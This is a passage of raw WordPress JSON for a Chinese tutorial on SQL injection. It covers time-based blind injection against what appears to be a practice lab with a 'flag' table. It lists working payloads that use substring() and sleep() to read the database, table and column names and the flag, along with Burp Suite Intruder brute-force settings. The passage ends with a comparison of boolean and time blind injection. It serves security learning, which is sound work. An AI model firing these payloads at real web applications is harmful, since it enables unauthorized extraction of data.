id=\"u8ca6e1ad\">#\u968f\u4fbf\u8f93\u5165\u4e00\u4e2a\u5b57\u7b26&#xff0c;\u65e0\u8bba\u6b63\u786e\u4e0e\u5426&#xff0c;\u4f7f\u7528burpsuite\u8fdb\u884c\u6293\u5305&#xff0c;\u5c06\u6293\u5230\u7684\u5305\u53d1\u9001\u5230intruder\u6a21\u5757\u3002<\/p>\n<p id=\"ucaf63d35\">&#xff08;1&#xff09;\u653b\u51fb\u7c7b\u578b\u9009\u4e3aCluster bomb<\/p>\n<p id=\"uc07bb10e\">&#xff08;2&#xff09;\u9009\u62e9\u8981\u8fdb\u884c\u7206\u7834\u7684\u5b57\u7b26&#xff0c;\u4e00\u4e2a\u662f\u7b2c\u4e00\u4e2a1&#xff0c;\u4e00\u4e2a\u662fa<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"672\" id=\"uca5fa855\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131645-697374bdd212c.png\" width=\"1717\" \/><\/p>\n<p id=\"u91276752\">&#xff08;3&#xff09;\u8bbe\u7f6e\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684payload&#xff0c;\u7c7b\u578b\u4e3aNumbers<\/p>\n<p id=\"uadddd441\">&#xff08;\u5df2\u7ecf\u77e5\u9053\u957f\u5ea6\u4e3a4&#xff0c;\u53ef\u4ee5\u76f4\u63a5\u8bbe\u7f6e\u4e3a4&#xff0c;\u4e0d\u77e5\u9053\u65f6 \u8bbe\u7f6e\u6bd4\u9700\u8981\u7206\u7834\u5b57\u7b26\u7684\u957f\u5ea6\u957f\u3002&#xff09;<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1600\" id=\"ub2bbb90c\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131646-697374be74466.png\" width=\"2560\" \/><\/p>\n<p id=\"ud00ec912\">&#xff08;4&#xff09;\u8bbe\u7f6e\u7b2c\u4e8c\u4e2a\u9700\u8981\u7206\u7834\u5b57\u7b26\u7684payload&#xff0c;\u7c7b\u578b\u4e3aSimple list<\/p>\n<p id=\"ubfef4db5\">&#xff08;\u7206\u7834\u5b57\u6bb5\u4e3a26\u4e2a\u82f1\u6587\u5b57\u6bcd&#xff09;<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1600\" id=\"u16ab23c2\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131648-697374c010cb3.png\" width=\"2560\" \/><\/p>\n<p id=\"u169b90af\">&#xff08;5&#xff09;\u70b9\u51fb\u5f00\u59cb\u653b\u51fb\u5f97\u5230\u7ed3\u679c&#xff0c;sleep(5)\u8981\u7b5b\u9009\u51fa\u54cd\u5e94\u65f6\u95f4\u5927\u4e8e5s\u7684\u6570\u636e\u5305\u3002<\/p>\n<p id=\"u13b6f0b3\">\u5728columns\u91cc\u9762\u52fe\u9009Response received\u548cResponse completed\u8fd9\u4e24\u4e2a\u9009\u9879&#xff0c;\u518d\u8fdb\u884c\u7b5b\u9009&#xff0c;\u54cd\u5e94\u65f6\u95f4\u6700\u5927\u7684\u56db\u4e2a\u5c31\u662f\u6267\u884c\u6210\u529f\u7684\u2014\u2014sqli\u3002<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"618\" id=\"ud828090d\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131650-697374c24f2d8.png\" width=\"1996\" \/><\/p>\n<p id=\"ua617f993\">&#xff08;\u5e03\u5c14\u76f2\u6ce8\u76f4\u63a5\u4f7f\u7528length\u8fdb\u884c\u7b5b\u9009&#xff1a;\u6309\u7167length\u4ece\u9ad8\u5230\u4f4e\u6392\u5e8f \u524d\u9762\u56db\u4e2a\u5373\u4e3a\u7ed3\u679c&#xff0c;\u6309\u7167payload1\u7684\u987a\u5e8f\u8fdb\u884c\u6392\u5e8f\u5f97\u5230\u6570\u636e\u5e93\u540dsqli\u3002&#xff09;<\/p>\n<h6 id=\"xqPvd\">6.5.9.3. \u7206\u6570\u636e\u8868\u540d<\/h6>\n<p>?id&#061;1<br \/>\nand<br \/>\nif(substring(<br \/>\n  (select table_name from information_schema.tables<br \/>\n   where table_schema&#061;&#039;sqli&#039; limit 0,1),1,1)&#061;&#039;q&#039;,sleep(5),sleep(1))<\/p>\n<p>#limit 0,1\u7b2c\u4e00\u4e2a\u8868<br \/>\nsubstring((),1,1)\u4ece\u7b2c\u4e00\u4e2a\u5b57\u7b26\u5f00\u59cb&#xff0c;\u663e\u793a\u4e00\u4e2a\u5b57\u7b26<\/p>\n<p>&#8230;<\/p>\n<p>?id&#061;1<br \/>\nand<br \/>\nif(substring(<br \/>\n  (select table_name from information_schema.tables<br \/>\n   where table_schema&#061;&#039;sqli&#039; limit 1,1),1,1)&#061;&#039;q&#039;,sleep(5),sleep(1))<\/p>\n<p>##limit 1,1\u7b2c\u4e8c\u4e2a\u8868<br \/>\nsubstring((),1,1)\u4ece\u7b2c\u4e00\u4e2a\u5b57\u7b26\u5f00\u59cb&#xff0c;\u663e\u793a\u4e00\u4e2a\u5b57\u7b26<br \/>\n&#8230; <\/p>\n<p id=\"ued90b986\">\u4f7f\u7528burpsuite\u7206\u7834 <\/p>\n<h6 id=\"S2N0M\">6.5.9.4. \u7206\u6570\u636e\u5217\u540d<\/h6>\n<p>?id&#061;1 and<br \/>\nif(substring(<br \/>\n  (select column_name from information_schema.columns<br \/>\n   where table_name&#061;&#039;flag&#039;),1,1)&#061;&#039;q&#039;,sleep(5),sleep(1))<\/p>\n<p id=\"ub059ab32\">\u4f7f\u7528bp\u7206\u7834<\/p>\n<h6 id=\"C2Ohi\">6.5.9.5. \u7206flag<\/h6>\n<p id=\"u81a81988\">\u6b64\u5904payload1\u7684\u957f\u5ea6\u8f83\u5927 \u53ef\u4e3a40&#xff0c;,payload2\u7684\u5b57\u5178\u966426\u4e2a\u5b57\u6bcd\u5916\u8fd8\u670910\u4e2a\u6570\u5b57 \u2019{\u2019 \u2019}&#039;\u8fd9\u4e24\u4e2a\u5b57\u7b26\u3002<\/p>\n<p id=\"u52d878e4\">?id&#061;1 and if(substring((select flag from sqli.flag),1,1)&#061;&#039;q&#039;,sleep(5),1)<\/p>\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1139\" id=\"uc6fda9c3\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131651-697374c33ed03.png\" width=\"2183\" \/><\/p>\n<h5 id=\"sVW5X\">6.5.10. \u5176\u4ed6\u65b9\u6cd5&#8211;python\u811a\u672c<\/h5>\n<p id=\"u54304a75\">\u8fd9\u4e2a\u6211\u5148\u4e0d\u5c55\u5f00<\/p>\n<h5 id=\"izGgL\">6.5.11. \u5176\u4ed6\u65b9\u6cd5\u4e4b&#8211;sqlmap\u5de5\u5177<\/h5>\n<p id=\"ub492abf7\">\u3010\u8fd9\u4e2a\u5de5\u5177\u4e0b\u8f7d&#xff0c;\u6574\u7406\u5728\u5176\u4ed6\u5730\u65b9\u3011<\/p>\n<p id=\"uc9a6f4ad\">\n<p class=\"img-center\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"1160\" id=\"u387851a6\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131653-697374c51a585.png\" width=\"1924\" \/><\/p>\n<h5 id=\"kLP0F\">6.5.12. \u5e03\u5c14\u548c\u65f6\u95f4\u76f2\u6ce8\u6709\u4ec0\u4e48\u533a\u522b<\/h5>\n<table id=\"EcwO9\">\n<tbody>\n<tr>\n<td>\n<p id=\"uecabdf8e\">\u7279\u6027<\/p>\n<\/td>\n<td>\n<p id=\"ub394d125\">\u5e03\u5c14\u76f2\u6ce8<\/p>\n<\/td>\n<td>\n<p id=\"u7f0f1d5a\">\u65f6\u95f4\u76f2\u6ce8<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"uf1a89ab7\">\u5224\u65ad\u4f9d\u636e<\/p>\n<\/td>\n<td>\n<p id=\"u05daf92a\">\u5e94\u7528\u7a0b\u5e8f\u7684\u54cd\u5e94\u5185\u5bb9&#xff08;\u5982\u9875\u9762\u5185\u5bb9\u7684\u53d8\u5316&#xff09;<\/p>\n<\/td>\n<td>\n<p id=\"uf284f9ca\">\u5e94\u7528\u7a0b\u5e8f\u7684\u54cd\u5e94\u65f6\u95f4&#xff08;\u5982\u5ef6\u8fdf\u6216\u6b63\u5e38\u8fd4\u56de&#xff09;<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"uc501ed7b\">\u4f9d\u8d56\u6761\u4ef6<\/p>\n<\/td>\n<td>\n<p id=\"u46527b7a\">\u6570\u636e\u5e93\u67e5\u8be2\u7ed3\u679c\u4f1a\u5f71\u54cd\u5e94\u7528\u7a0b\u5e8f\u7684\u8f93\u51fa<\/p>\n<\/td>\n<td>\n<p id=\"uc9b72fe5\">\u6570\u636e\u5e93\u67e5\u8be2\u7ed3\u679c\u4f1a\u89e6\u53d1\u65f6\u95f4\u5ef6\u8fdf\u51fd\u6570<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"u499087be\">\u9002\u7528\u573a\u666f<\/p>\n<\/td>\n<td>\n<p id=\"u418e3cbf\">\u5e94\u7528\u7a0b\u5e8f\u5bf9\u67e5\u8be2\u7ed3\u679c\u6709\u660e\u786e\u7684\u53cd\u9988<\/p>\n<\/td>\n<td>\n<p id=\"u47e07c7b\">\u5e94\u7528\u7a0b\u5e8f\u5bf9\u67e5\u8be2\u7ed3\u679c\u65e0\u660e\u663e\u53cd\u9988&#xff0c;\u4f46\u652f\u6301\u5ef6\u8fdf\u51fd\u6570<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p id=\"ubbe29d28\">\u653b\u51fb\u6548\u7387<\/p>\n<\/td>\n<td>\n<p id=\"u257c0b0c\">\u76f8\u5bf9\u8f83\u9ad8&#xff08;\u76f4\u63a5\u89c2\u5bdf\u9875\u9762\u53d8\u5316&#xff09;<\/p>\n<\/td>\n<td>\n<p id=\"ua3758448\">\u8f83\u4f4e&#xff08;\u9700\u8981\u7b49\u5f85\u5ef6\u8fdf\u65f6\u95f4&#xff09;<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00<br \/>\n\u8fd9\u4e00\u5757\u5185\u5bb9\u8fd8\u5728\u4e0d\u65ad\u8865\u5145\u5f53\u4e2d&#xff0c;\u53ef\u4ee5\u65f6\u4e0d\u65f6\u5237\u6765\u770b\u770b\u5440&#xff01;&#xff01;&#xff01;<br \/>\n\u60a8\u7684\u9605\u8bfb\u5c31\u662f\u5bf9\u6211\u5b66\u4e60\u8fdb\u6b65\u7684\u80af\u5b9a&#xff01;&#xff01;&#xff01;<br \/>\n\u611f\u8c22\u5927\u4f6c<br \/>\nSQL\u6ce8\u5165\u57fa\u7840\u77e5\u8bc6\u6574\u7406\u3010SQL\u6ce8\u5165\u3011\u5c0f\u767d\u624b\u628a\u624b\u5165\u95e8SQL\u6ce8\u51651-\u6570\u636e\u5e93\u57fa\u7840-CSDN\u535a\u5ba2SQL \u6ce8\u5165\u603b\u7ed3&#xff08;\u8be6\u7ec6&#xff09;_sql\u6ce8\u5165\u8bed\u53e5-CSDN\u535a\u5ba2\u3010\u5168\u7f51\u6700\u5168\u3011sql\u6ce8\u5165\u8be6\u89e3-CSDN\u535a\u5ba2SQL \u4e09\u79cd\u6ce8\u5165\u65b9\u5f0f\u8be6\u89e3&#xff0c;&amp;#xff08<\/p>\n","protected":false},"author":2,"featured_media":64646,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[604,768,100],"topic":[],"class_list":["post-64663","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-oracle","tag-sql","tag-100"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>SQL\u6ce8\u5165\u7684\u57fa\u7840\uff0c\u653b\u51fb\u6d41\u7a0b\u4e0e\u8be6\u7ec6\u6ce8\u5165\u7c7b\u578b\u4ecb\u7ecd - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/64663.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SQL\u6ce8\u5165\u7684\u57fa\u7840\uff0c\u653b\u51fb\u6d41\u7a0b\u4e0e\u8be6\u7ec6\u6ce8\u5165\u7c7b\u578b\u4ecb\u7ecd - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u524d\u8a00 \u8fd9\u4e00\u5757\u5185\u5bb9\u8fd8\u5728\u4e0d\u65ad\u8865\u5145\u5f53\u4e2d&#xff0c;\u53ef\u4ee5\u65f6\u4e0d\u65f6\u5237\u6765\u770b\u770b\u5440&#xff01;&#xff01;&#xff01; \u60a8\u7684\u9605\u8bfb\u5c31\u662f\u5bf9\u6211\u5b66\u4e60\u8fdb\u6b65\u7684\u80af\u5b9a&#xff01;&#xff01;&#xff01; \u611f\u8c22\u5927\u4f6c SQL\u6ce8\u5165\u57fa\u7840\u77e5\u8bc6\u6574\u7406\u3010SQL\u6ce8\u5165\u3011\u5c0f\u767d\u624b\u628a\u624b\u5165\u95e8SQL\u6ce8\u51651-\u6570\u636e\u5e93\u57fa\u7840-CSDN\u535a\u5ba2SQL \u6ce8\u5165\u603b\u7ed3&#xff08;\u8be6\u7ec6&#xff09;_sql\u6ce8\u5165\u8bed\u53e5-CSDN\u535a\u5ba2\u3010\u5168\u7f51\u6700\u5168\u3011sql\u6ce8\u5165\u8be6\u89e3-CSDN\u535a\u5ba2SQL \u4e09\u79cd\u6ce8\u5165\u65b9\u5f0f\u8be6\u89e3&#xff0c;&amp;#xff08\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/64663.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-23T13:16:55+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131633-697374b123518.jpg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"22 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/64663.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/64663.html\",\"name\":\"SQL\u6ce8\u5165\u7684\u57fa\u7840\uff0c\u653b\u51fb\u6d41\u7a0b\u4e0e\u8be6\u7ec6\u6ce8\u5165\u7c7b\u578b\u4ecb\u7ecd - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-01-23T13:16:55+00:00\",\"dateModified\":\"2026-01-23T13:16:55+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/64663.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/64663.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/64663.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"SQL\u6ce8\u5165\u7684\u57fa\u7840\uff0c\u653b\u51fb\u6d41\u7a0b\u4e0e\u8be6\u7ec6\u6ce8\u5165\u7c7b\u578b\u4ecb\u7ecd\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"SQL\u6ce8\u5165\u7684\u57fa\u7840\uff0c\u653b\u51fb\u6d41\u7a0b\u4e0e\u8be6\u7ec6\u6ce8\u5165\u7c7b\u578b\u4ecb\u7ecd - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/64663.html","og_locale":"zh_CN","og_type":"article","og_title":"SQL\u6ce8\u5165\u7684\u57fa\u7840\uff0c\u653b\u51fb\u6d41\u7a0b\u4e0e\u8be6\u7ec6\u6ce8\u5165\u7c7b\u578b\u4ecb\u7ecd - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u524d\u8a00 \u8fd9\u4e00\u5757\u5185\u5bb9\u8fd8\u5728\u4e0d\u65ad\u8865\u5145\u5f53\u4e2d&#xff0c;\u53ef\u4ee5\u65f6\u4e0d\u65f6\u5237\u6765\u770b\u770b\u5440&#xff01;&#xff01;&#xff01; \u60a8\u7684\u9605\u8bfb\u5c31\u662f\u5bf9\u6211\u5b66\u4e60\u8fdb\u6b65\u7684\u80af\u5b9a&#xff01;&#xff01;&#xff01; \u611f\u8c22\u5927\u4f6c SQL\u6ce8\u5165\u57fa\u7840\u77e5\u8bc6\u6574\u7406\u3010SQL\u6ce8\u5165\u3011\u5c0f\u767d\u624b\u628a\u624b\u5165\u95e8SQL\u6ce8\u51651-\u6570\u636e\u5e93\u57fa\u7840-CSDN\u535a\u5ba2SQL \u6ce8\u5165\u603b\u7ed3&#xff08;\u8be6\u7ec6&#xff09;_sql\u6ce8\u5165\u8bed\u53e5-CSDN\u535a\u5ba2\u3010\u5168\u7f51\u6700\u5168\u3011sql\u6ce8\u5165\u8be6\u89e3-CSDN\u535a\u5ba2SQL \u4e09\u79cd\u6ce8\u5165\u65b9\u5f0f\u8be6\u89e3&#xff0c;&amp;#xff08","og_url":"https:\/\/www.wsisp.com\/helps\/64663.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-01-23T13:16:55+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123131633-697374b123518.jpg"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"22 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/64663.html","url":"https:\/\/www.wsisp.com\/helps\/64663.html","name":"SQL\u6ce8\u5165\u7684\u57fa\u7840\uff0c\u653b\u51fb\u6d41\u7a0b\u4e0e\u8be6\u7ec6\u6ce8\u5165\u7c7b\u578b\u4ecb\u7ecd - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-01-23T13:16:55+00:00","dateModified":"2026-01-23T13:16:55+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/64663.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/64663.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/64663.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"SQL\u6ce8\u5165\u7684\u57fa\u7840\uff0c\u653b\u51fb\u6d41\u7a0b\u4e0e\u8be6\u7ec6\u6ce8\u5165\u7c7b\u578b\u4ecb\u7ecd"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/64663","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=64663"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/64663\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/64646"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=64663"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=64663"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=64663"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=64663"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}